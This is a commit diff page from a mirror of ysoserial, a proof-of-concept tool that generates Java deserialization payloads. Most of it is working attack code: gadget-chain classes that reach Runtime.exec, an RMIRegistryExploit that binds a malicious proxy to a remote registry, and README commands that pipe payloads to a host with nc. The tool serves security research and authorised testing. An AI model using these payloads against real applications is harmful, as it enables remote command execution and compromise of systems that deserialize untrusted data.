mirror of
https://github.com/frohoff/ysoserial.git
synced 2026-09-27 01:11:53 +08:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
87c91b27a0 | ||
|
|
2c79998485 | ||
|
|
ed18a40523 | ||
|
|
0e99a197c6 | ||
|
|
4f00182efc | ||
|
|
79219f7792 | ||
|
|
1c82fda4e4 | ||
|
|
f3e0ca6456 | ||
|
|
dbdce11f76 | ||
|
|
cdfaff46cd | ||
|
|
58f3804a39 |
+1
-2
@@ -1,7 +1,6 @@
|
|||||||
language: java
|
language: java
|
||||||
jdk:
|
jdk:
|
||||||
- oraclejdk8
|
- oraclejdk8
|
||||||
- openjdk8
|
|
||||||
- oraclejdk7
|
- oraclejdk7
|
||||||
- openjdk7
|
- openjdk7
|
||||||
- openjdk6
|
- openjdk6
|
||||||
@@ -1,66 +1,78 @@
|
|||||||
|
|
||||||
# ysoserial
|
# ysoserial
|
||||||
|
|
||||||
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.
|
||||||
|
|
||||||

|

|
||||||
|
|
||||||
## Description
|
## Description
|
||||||
|
|
||||||
ysoserial is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
|
Released as part of AppSecCali 2015 Talk ["Marshalling Pickles: how deserializing objects will ruin your day"](http://frohoff.github.io/appseccali-marshalling-pickles/) with gadget chains for Apache Commons Collections (3.x and 4.x), Spring Beans/Core (4.x), and Groovy (2.3.x).
|
||||||
libraries. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
|
Later updated to include additional gadget chains for [JRE <= 1.7u21](https://gist.github.com/frohoff/24af7913611f8406eaf3) and [Apache Commons Beanutils](https://gist.github.com/frohoff/9eb8811761ff989b3ac0).
|
||||||
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
|
|
||||||
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
|
__ysoserial__ is a collection of utilities and property-oriented programming "gadget chains" discovered in common java
|
||||||
|
libraries that can, under the right conditions, exploit Java applications performing __unsafe deserialization__ of objects.
|
||||||
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
|
The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then
|
||||||
gadgets on the classpath.
|
serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes
|
||||||
|
this data, the chain will automatically be invoked and cause the command to be executed on the application host.
|
||||||
## Disclaimer
|
|
||||||
|
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having
|
||||||
This software has been created purely for the purposes of academic research and
|
gadgets on the classpath.
|
||||||
for the development of effective defensive techniques, and is not intended to be
|
|
||||||
used to attack systems except where explicitly authorized. Project maintainers
|
## Disclaimer
|
||||||
are not responsible or liable for misuse of the software. Use responsibly.
|
|
||||||
|
This software has been created purely for the purposes of academic research and
|
||||||
## Usage
|
for the development of effective defensive techniques, and is not intended to be
|
||||||
|
used to attack systems except where explicitly authorized. Project maintainers
|
||||||
```shell
|
are not responsible or liable for misuse of the software. Use responsibly.
|
||||||
$ java -jar ysoserial-0.0.1-all.jar
|
|
||||||
Y SO SERIAL?
|
## Usage
|
||||||
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
|
|
||||||
Available payload types:
|
```shell
|
||||||
CommonsCollections1
|
$ java -jar target/ysoserial-0.0.4-all.jar
|
||||||
CommonsCollections2
|
Y SO SERIAL?
|
||||||
Groovy1
|
Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'
|
||||||
Spring1
|
Available payload types:
|
||||||
```
|
CommonsBeanutilsCollectionsLogging1 [commons-beanutils:commons-beanutils:1.9.2, commons-collections:commons-collections:3.1, commons-logging:commons-logging:1.2]
|
||||||
|
CommonsCollections1 [commons-collections:commons-collections:3.1]
|
||||||
## Examples
|
CommonsCollections2 [org.apache.commons:commons-collections4:4.0]
|
||||||
|
CommonsCollections3 [commons-collections:commons-collections:3.1]
|
||||||
```shell
|
CommonsCollections4 [org.apache.commons:commons-collections4:4.0]
|
||||||
$ java -jar ysoserial-0.0.1-all.jar CommonsCollections1 calc.exe | xxd
|
Groovy1 [org.codehaus.groovy:groovy:2.3.9]
|
||||||
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
|
Jdk7u21 []
|
||||||
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
|
Spring1 [org.springframework:spring-core:4.1.4.RELEASE, org.springframework:spring-beans:4.1.4.RELEASE]
|
||||||
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
|
```
|
||||||
...
|
|
||||||
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
|
## Examples
|
||||||
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
|
|
||||||
0000570: 0078 7071 007e 003a .xpq.~.:
|
```shell
|
||||||
|
$ java -jar ysoserial-0.0.4-all.jar CommonsCollections1 calc.exe | xxd
|
||||||
$ java -jar ysoserial-0.0.1-all.jar Groovy1 calc.exe > groovypayload.bin
|
0000000: aced 0005 7372 0032 7375 6e2e 7265 666c ....sr.2sun.refl
|
||||||
$ nc 10.10.10.10 < groovypayload.bin
|
0000010: 6563 742e 616e 6e6f 7461 7469 6f6e 2e41 ect.annotation.A
|
||||||
|
0000020: 6e6e 6f74 6174 696f 6e49 6e76 6f63 6174 nnotationInvocat
|
||||||
$ java -cp ysoserial-0.0.1-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
|
...
|
||||||
```
|
0000550: 7672 0012 6a61 7661 2e6c 616e 672e 4f76 vr..java.lang.Ov
|
||||||
|
0000560: 6572 7269 6465 0000 0000 0000 0000 0000 erride..........
|
||||||
## Installation
|
0000570: 0078 7071 007e 003a .xpq.~.:
|
||||||
|
|
||||||
1. Download the latest jar from the "releases" section.
|
$ java -jar ysoserial-0.0.4-all.jar Groovy1 calc.exe > groovypayload.bin
|
||||||
|
$ nc 10.10.10.10 < groovypayload.bin
|
||||||
## Contributing
|
|
||||||
|
$ java -cp ysoserial-0.0.4-all.jar ysoserial.RMIRegistryExploit myhost 1099 CommonsCollections1 calc.exe
|
||||||
1. Fork it
|
```
|
||||||
2. Create your feature branch (`git checkout -b my-new-feature`)
|
|
||||||
3. Commit your changes (`git commit -am 'Add some feature'`)
|
## Installation
|
||||||
4. Push to the branch (`git push origin my-new-feature`)
|
|
||||||
5. Create new Pull Request
|
1. Download the latest jar from the "releases" section.
|
||||||
|
|
||||||
|
## Code Status
|
||||||
|
|
||||||
|
[](https://travis-ci.org/frohoff/ysoserial)
|
||||||
|
|
||||||
|
## Contributing
|
||||||
|
|
||||||
|
1. Fork it
|
||||||
|
2. Create your feature branch (`git checkout -b my-new-feature`)
|
||||||
|
3. Commit your changes (`git commit -am 'Add some feature'`)
|
||||||
|
4. Push to the branch (`git push origin my-new-feature`)
|
||||||
|
5. Create new Pull Request
|
||||||
|
|||||||
Executable
+3
@@ -0,0 +1,3 @@
|
|||||||
|
grant {
|
||||||
|
permission java.security.AllPermission;
|
||||||
|
};
|
||||||
@@ -4,7 +4,7 @@
|
|||||||
|
|
||||||
<groupId>ysoserial</groupId>
|
<groupId>ysoserial</groupId>
|
||||||
<artifactId>ysoserial</artifactId>
|
<artifactId>ysoserial</artifactId>
|
||||||
<version>0.0.1-SNAPSHOT</version>
|
<version>0.0.4</version>
|
||||||
<packaging>jar</packaging>
|
<packaging>jar</packaging>
|
||||||
|
|
||||||
<name>ysoserial</name>
|
<name>ysoserial</name>
|
||||||
@@ -22,15 +22,15 @@
|
|||||||
<version>3.2</version>
|
<version>3.2</version>
|
||||||
<configuration>
|
<configuration>
|
||||||
<source>1.5</source>
|
<source>1.5</source>
|
||||||
<target>1.5</target><!-- maximize compatibility -->
|
<target>1.5</target><!-- maximize compatibility -->
|
||||||
</configuration>
|
</configuration>
|
||||||
</plugin>
|
</plugin>
|
||||||
<plugin>
|
<plugin>
|
||||||
<artifactId>maven-assembly-plugin</artifactId>
|
<artifactId>maven-assembly-plugin</artifactId>
|
||||||
<configuration>
|
<configuration>
|
||||||
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
<finalName>${project.artifactId}-${project.version}-all</finalName>
|
||||||
<appendAssemblyId>false</appendAssemblyId>
|
<appendAssemblyId>false</appendAssemblyId>
|
||||||
<archive>
|
<archive>
|
||||||
<manifest>
|
<manifest>
|
||||||
<mainClass>ysoserial.GeneratePayload</mainClass>
|
<mainClass>ysoserial.GeneratePayload</mainClass>
|
||||||
</manifest>
|
</manifest>
|
||||||
@@ -53,7 +53,7 @@
|
|||||||
</build>
|
</build>
|
||||||
|
|
||||||
<dependencies>
|
<dependencies>
|
||||||
|
|
||||||
<!-- testing depedencies -->
|
<!-- testing depedencies -->
|
||||||
|
|
||||||
<dependency>
|
<dependency>
|
||||||
@@ -88,6 +88,11 @@
|
|||||||
<version>2.1.1</version>
|
<version>2.1.1</version>
|
||||||
<type>pom</type>
|
<type>pom</type>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>org.javassist</groupId>
|
||||||
|
<artifactId>javassist</artifactId>
|
||||||
|
<version>3.19.0-GA</version>
|
||||||
|
</dependency>
|
||||||
|
|
||||||
<!-- gadget dependecies -->
|
<!-- gadget dependecies -->
|
||||||
|
|
||||||
@@ -96,15 +101,15 @@
|
|||||||
<artifactId>commons-collections</artifactId>
|
<artifactId>commons-collections</artifactId>
|
||||||
<version>3.1</version>
|
<version>3.1</version>
|
||||||
</dependency>
|
</dependency>
|
||||||
|
<dependency>
|
||||||
|
<groupId>commons-beanutils</groupId>
|
||||||
|
<artifactId>commons-beanutils</artifactId>
|
||||||
|
<version>1.9.2</version>
|
||||||
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.apache.commons</groupId>
|
<groupId>org.apache.commons</groupId>
|
||||||
<artifactId>commons-collections4</artifactId>
|
<artifactId>commons-collections4</artifactId>
|
||||||
<version>4.0</version>
|
<version>4.0</version>
|
||||||
</dependency>
|
|
||||||
<dependency>
|
|
||||||
<groupId>org.apache.commons</groupId>
|
|
||||||
<artifactId>commons-lang3</artifactId>
|
|
||||||
<version>3.1</version>
|
|
||||||
</dependency>
|
</dependency>
|
||||||
<dependency>
|
<dependency>
|
||||||
<groupId>org.codehaus.groovy</groupId>
|
<groupId>org.codehaus.groovy</groupId>
|
||||||
|
|||||||
@@ -1,18 +0,0 @@
|
|||||||
package ysoserial;
|
|
||||||
|
|
||||||
import java.io.File;
|
|
||||||
import java.io.FileInputStream;
|
|
||||||
import java.io.IOException;
|
|
||||||
import java.io.InputStream;
|
|
||||||
|
|
||||||
import ysoserial.payloads.util.Serializables;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* for testing payloads across process boundaries
|
|
||||||
*/
|
|
||||||
public class Deserialize {
|
|
||||||
public static void main(final String[] args) throws ClassNotFoundException, IOException {
|
|
||||||
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
|
|
||||||
Serializables.deserialize(in);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Executable
+34
@@ -0,0 +1,34 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.ByteArrayInputStream;
|
||||||
|
import java.io.File;
|
||||||
|
import java.io.FileInputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.InputStream;
|
||||||
|
import java.io.ObjectInputStream;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class Deserializer implements Callable<Object> {
|
||||||
|
private final byte[] bytes;
|
||||||
|
|
||||||
|
public Deserializer(byte[] bytes) { this.bytes = bytes; }
|
||||||
|
|
||||||
|
public Object call() throws Exception {
|
||||||
|
return deserialize(bytes);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
|
||||||
|
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
|
||||||
|
return deserialize(in);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
|
||||||
|
final ObjectInputStream objIn = new ObjectInputStream(in);
|
||||||
|
return objIn.readObject();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(String[] args) throws ClassNotFoundException, IOException {
|
||||||
|
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
|
||||||
|
Object object = deserialize(in);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,16 +1,15 @@
|
|||||||
package ysoserial;
|
package ysoserial;
|
||||||
|
|
||||||
import java.io.ObjectOutputStream;
|
import java.io.PrintStream;
|
||||||
import java.util.ArrayList;
|
import java.util.ArrayList;
|
||||||
import java.util.Collection;
|
import java.util.Arrays;
|
||||||
import java.util.Collections;
|
import java.util.Collections;
|
||||||
import java.util.Comparator;
|
import java.util.Comparator;
|
||||||
import java.util.List;
|
import java.util.List;
|
||||||
import java.util.Set;
|
|
||||||
|
|
||||||
import org.reflections.Reflections;
|
|
||||||
|
|
||||||
import ysoserial.payloads.ObjectPayload;
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
import ysoserial.payloads.ObjectPayload.Utils;
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
|
||||||
@SuppressWarnings("rawtypes")
|
@SuppressWarnings("rawtypes")
|
||||||
public class GeneratePayload {
|
public class GeneratePayload {
|
||||||
@@ -25,62 +24,41 @@ public class GeneratePayload {
|
|||||||
}
|
}
|
||||||
final String payloadType = args[0];
|
final String payloadType = args[0];
|
||||||
final String command = args[1];
|
final String command = args[1];
|
||||||
|
|
||||||
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType);
|
final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
|
||||||
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) {
|
if (payloadClass == null) {
|
||||||
System.err.println("Invalid payload type '" + payloadType + "'");
|
System.err.println("Invalid payload type '" + payloadType + "'");
|
||||||
printUsage();
|
printUsage();
|
||||||
System.exit(USAGE_CODE);
|
System.exit(USAGE_CODE);
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
final ObjectPayload payload = payloadClass.newInstance();
|
final ObjectPayload payload = payloadClass.newInstance();
|
||||||
final Object object = payload.getObject(command);
|
final Object object = payload.getObject(command);
|
||||||
final ObjectOutputStream objOut = new ObjectOutputStream(System.out);
|
PrintStream out = System.out;
|
||||||
objOut.writeObject(object);
|
Serializer.serialize(object, out);
|
||||||
} catch (Exception e) {
|
} catch (Throwable e) {
|
||||||
System.err.println("Error while generating or serializing payload");
|
System.err.println("Error while generating or serializing payload");
|
||||||
e.printStackTrace();
|
e.printStackTrace();
|
||||||
System.exit(INTERNAL_ERROR_CODE);
|
System.exit(INTERNAL_ERROR_CODE);
|
||||||
}
|
|
||||||
System.exit(0);
|
|
||||||
}
|
|
||||||
|
|
||||||
@SuppressWarnings("unchecked")
|
|
||||||
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
|
|
||||||
try {
|
|
||||||
return (Class<? extends ObjectPayload>) Class.forName(className);
|
|
||||||
} catch (Exception e1) {
|
|
||||||
}
|
}
|
||||||
try {
|
System.exit(0);
|
||||||
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
|
|
||||||
+ ".payloads." + className);
|
|
||||||
} catch (Exception e2) {
|
|
||||||
}
|
|
||||||
return null;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
private static void printUsage() {
|
private static void printUsage() {
|
||||||
System.err.println("Y SO SERIAL?");
|
System.err.println("Y SO SERIAL?");
|
||||||
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
|
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'");
|
||||||
System.err.println("\tAvailable payload types:");
|
System.err.println("\tAvailable payload types:");
|
||||||
final List<Class<? extends ObjectPayload>> payloadClasses =
|
final List<Class<? extends ObjectPayload>> payloadClasses =
|
||||||
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses());
|
new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
|
||||||
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
|
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize
|
||||||
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
|
||||||
System.err.println("\t\t" + payloadClass.getSimpleName());
|
System.err.println("\t\t" + payloadClass.getSimpleName() + " " + Arrays.asList(Dependencies.Utils.getDependencies(payloadClass)));
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// get payload classes by classpath scanning
|
|
||||||
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
|
|
||||||
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
|
|
||||||
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
|
|
||||||
return payloadTypes;
|
|
||||||
}
|
|
||||||
|
|
||||||
public static class ToStringComparator implements Comparator<Object> {
|
public static class ToStringComparator implements Comparator<Object> {
|
||||||
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
|
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
|
||||||
}
|
}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|||||||
@@ -1,23 +0,0 @@
|
|||||||
package ysoserial;
|
|
||||||
|
|
||||||
import java.rmi.Remote;
|
|
||||||
import java.rmi.registry.LocateRegistry;
|
|
||||||
import java.rmi.registry.Registry;
|
|
||||||
|
|
||||||
import ysoserial.payloads.CommonsCollections1;
|
|
||||||
import ysoserial.payloads.ObjectPayload;
|
|
||||||
import ysoserial.payloads.util.Gadgets;
|
|
||||||
|
|
||||||
/*
|
|
||||||
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
|
|
||||||
*/
|
|
||||||
public class RMIRegistryExploit {
|
|
||||||
public static void main(String[] args) throws Exception {
|
|
||||||
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
|
|
||||||
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
|
||||||
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
|
||||||
Object payload = payloadClass.newInstance().getObject(args[3]);
|
|
||||||
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
|
|
||||||
registry.bind("pwned", remote);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
Executable
+30
@@ -0,0 +1,30 @@
|
|||||||
|
package ysoserial;
|
||||||
|
|
||||||
|
import java.io.ByteArrayOutputStream;
|
||||||
|
import java.io.IOException;
|
||||||
|
import java.io.ObjectOutputStream;
|
||||||
|
import java.io.OutputStream;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
public class Serializer implements Callable<byte[]> {
|
||||||
|
private final Object object;
|
||||||
|
public Serializer(Object object) {
|
||||||
|
this.object = object;
|
||||||
|
}
|
||||||
|
|
||||||
|
public byte[] call() throws Exception {
|
||||||
|
return serialize(object);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static byte[] serialize(final Object obj) throws IOException {
|
||||||
|
final ByteArrayOutputStream out = new ByteArrayOutputStream();
|
||||||
|
serialize(obj, out);
|
||||||
|
return out.toByteArray();
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void serialize(final Object obj, final OutputStream out) throws IOException {
|
||||||
|
final ObjectOutputStream objOut = new ObjectOutputStream(out);
|
||||||
|
objOut.writeObject(obj);
|
||||||
|
}
|
||||||
|
|
||||||
|
}
|
||||||
@@ -0,0 +1,50 @@
|
|||||||
|
package ysoserial.exploit;
|
||||||
|
|
||||||
|
import java.rmi.Remote;
|
||||||
|
import java.rmi.registry.LocateRegistry;
|
||||||
|
import java.rmi.registry.Registry;
|
||||||
|
import java.util.Arrays;
|
||||||
|
import java.util.concurrent.Callable;
|
||||||
|
|
||||||
|
import ysoserial.payloads.CommonsCollections1;
|
||||||
|
import ysoserial.payloads.ObjectPayload;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.secmgr.ExecCheckingSecurityManager;
|
||||||
|
|
||||||
|
/*
|
||||||
|
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader.
|
||||||
|
* Attempts to exploit the registry itself, then enumerates registered endpoints and their interfaces.
|
||||||
|
*
|
||||||
|
* TODO: automatic exploitation of endpoints, potentially with automated download and use of jars containing remote
|
||||||
|
* interfaces. See http://www.findmaven.net/api/find/class/org.springframework.remoting.rmi.RmiInvocationHandler .
|
||||||
|
*/
|
||||||
|
public class RMIRegistryExploit {
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
final String host = args[0];
|
||||||
|
final int port = Integer.parseInt(args[1]);
|
||||||
|
final String command = args[3];
|
||||||
|
final Registry registry = LocateRegistry.getRegistry(host, port);
|
||||||
|
final String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
|
||||||
|
final Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
|
||||||
|
|
||||||
|
// ensure payload doesn't detonate during construction or deserialization
|
||||||
|
exploit(registry, payloadClass, command);
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void exploit(final Registry registry,
|
||||||
|
final Class<? extends ObjectPayload> payloadClass,
|
||||||
|
final String command) throws Exception {
|
||||||
|
new ExecCheckingSecurityManager().wrap(new Callable<Void>(){public Void call() throws Exception {
|
||||||
|
Object payload = payloadClass.newInstance().getObject(command);
|
||||||
|
String name = "pwned" + System.nanoTime();
|
||||||
|
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap(name, payload), Remote.class);
|
||||||
|
try {
|
||||||
|
registry.bind(name, remote);
|
||||||
|
} catch (Throwable e) {
|
||||||
|
e.printStackTrace();
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}});
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,44 @@
|
|||||||
|
package ysoserial.payloads;
|
||||||
|
|
||||||
|
import java.math.BigInteger;
|
||||||
|
import java.util.PriorityQueue;
|
||||||
|
|
||||||
|
import org.apache.commons.beanutils.BeanComparator;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
|
import ysoserial.payloads.util.Gadgets;
|
||||||
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
|
import ysoserial.payloads.util.Reflections;
|
||||||
|
|
||||||
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
|
||||||
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
|
@Dependencies({"commons-beanutils:commons-beanutils:1.9.2", "commons-collections:commons-collections:3.1", "commons-logging:commons-logging:1.2"})
|
||||||
|
public class CommonsBeanutilsCollectionsLogging1 implements ObjectPayload<Object> {
|
||||||
|
|
||||||
|
public Object getObject(final String command) throws Exception {
|
||||||
|
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
// mock method name until armed
|
||||||
|
final BeanComparator comparator = new BeanComparator("lowestSetBit");
|
||||||
|
|
||||||
|
// create queue with numbers and basic comparator
|
||||||
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2, comparator);
|
||||||
|
// stub data for replacement later
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
queue.add(new BigInteger("1"));
|
||||||
|
|
||||||
|
// switch method called by comparator
|
||||||
|
Reflections.setFieldValue(comparator, "property", "outputProperties");
|
||||||
|
|
||||||
|
// switch contents of queue
|
||||||
|
final Object[] queueArray = (Object[]) Reflections.getFieldValue(queue, "queue");
|
||||||
|
queueArray[0] = templates;
|
||||||
|
queueArray[1] = templates;
|
||||||
|
|
||||||
|
return queue;
|
||||||
|
}
|
||||||
|
|
||||||
|
public static void main(final String[] args) throws Exception {
|
||||||
|
PayloadRunner.run(CommonsBeanutilsCollectionsLogging1.class, args);
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -10,6 +10,7 @@ import org.apache.commons.collections.functors.ConstantTransformer;
|
|||||||
import org.apache.commons.collections.functors.InvokerTransformer;
|
import org.apache.commons.collections.functors.InvokerTransformer;
|
||||||
import org.apache.commons.collections.map.LazyMap;
|
import org.apache.commons.collections.map.LazyMap;
|
||||||
|
|
||||||
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
@@ -37,6 +38,7 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
commons-collections
|
commons-collections
|
||||||
*/
|
*/
|
||||||
@SuppressWarnings({"rawtypes", "unchecked"})
|
@SuppressWarnings({"rawtypes", "unchecked"})
|
||||||
|
@Dependencies({"commons-collections:commons-collections:3.1"})
|
||||||
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<InvocationHandler> {
|
||||||
|
|
||||||
public InvocationHandler getObject(final String command) throws Exception {
|
public InvocationHandler getObject(final String command) throws Exception {
|
||||||
@@ -70,7 +72,7 @@ public class CommonsCollections1 extends PayloadRunner implements ObjectPayload<
|
|||||||
return handler;
|
return handler;
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void main(final String[] args) {
|
public static void main(final String[] args) throws Exception {
|
||||||
PayloadRunner.run(CommonsCollections1.class, args);
|
PayloadRunner.run(CommonsCollections1.class, args);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|||||||
Regular → Executable
+17
-26
@@ -6,7 +6,7 @@ import java.util.Queue;
|
|||||||
import org.apache.commons.collections4.comparators.TransformingComparator;
|
import org.apache.commons.collections4.comparators.TransformingComparator;
|
||||||
import org.apache.commons.collections4.functors.InvokerTransformer;
|
import org.apache.commons.collections4.functors.InvokerTransformer;
|
||||||
|
|
||||||
import ysoserial.payloads.util.ClassFiles;
|
import ysoserial.payloads.annotation.Dependencies;
|
||||||
import ysoserial.payloads.util.Gadgets;
|
import ysoserial.payloads.util.Gadgets;
|
||||||
import ysoserial.payloads.util.PayloadRunner;
|
import ysoserial.payloads.util.PayloadRunner;
|
||||||
import ysoserial.payloads.util.Reflections;
|
import ysoserial.payloads.util.Reflections;
|
||||||
@@ -14,7 +14,7 @@ import ysoserial.payloads.util.Reflections;
|
|||||||
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
||||||
|
|
||||||
/*
|
/*
|
||||||
Gadget chain:
|
Gadget chain:
|
||||||
ObjectInputStream.readObject()
|
ObjectInputStream.readObject()
|
||||||
PriorityQueue.readObject()
|
PriorityQueue.readObject()
|
||||||
...
|
...
|
||||||
@@ -22,44 +22,35 @@ import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
|
|||||||
InvokerTransformer.transform()
|
InvokerTransformer.transform()
|
||||||
Method.invoke()
|
Method.invoke()
|
||||||
Runtime.exec()
|
Runtime.exec()
|
||||||
|
|
||||||
Requires:
|
|
||||||
commons-collections4
|
|
||||||
*/
|
*/
|
||||||
|
|
||||||
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
@SuppressWarnings({ "rawtypes", "unchecked", "restriction" })
|
||||||
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
@Dependencies({"org.apache.commons:commons-collections4:4.0"})
|
||||||
|
public class CommonsCollections2 implements ObjectPayload<Queue<Object>> {
|
||||||
|
|
||||||
public Queue<Object> getObject(final String command) throws Exception {
|
public Queue<Object> getObject(final String command) throws Exception {
|
||||||
final TemplatesImpl templates = new TemplatesImpl();
|
final TemplatesImpl templates = Gadgets.createTemplatesImpl(command);
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_bytecodes", new byte[][] {
|
|
||||||
ClassFiles.classAsBytes(Gadgets.TransletPayload.class),
|
|
||||||
ClassFiles.classAsBytes(Gadgets.Foo.class)}); // required to make TemplatesImpl happy
|
|
||||||
|
|
||||||
Reflections.setFieldValue(templates, "_name", "Pwnr"); // required to make TemplatesImpl happy
|
|
||||||
|
|
||||||
// mock method name until armed
|
// mock method name until armed
|
||||||
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
final InvokerTransformer transformer = new InvokerTransformer("toString", new Class[0], new Object[0]);
|
||||||
|
|
||||||
// create queue with numbers and basic comparator
|
// create queue with numbers and basic comparator
|
||||||
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
|
final PriorityQueue<Object> queue = new PriorityQueue<Object>(2,new TransformingComparator(transformer));
|
||||||
// stub data for replacement later
|
// stub data for replacement later
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
queue.add(1);
|
queue.add(1);
|
||||||
|
|
||||||
// switch method called by comparator
|
// switch method called by comparator
|
||||||
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
Reflections.setFieldValue(transformer, "iMethodName", "newTransformer");
|
||||||
|
|
||||||
// switch contents of queue
|
// switch contents of queue
|
||||||
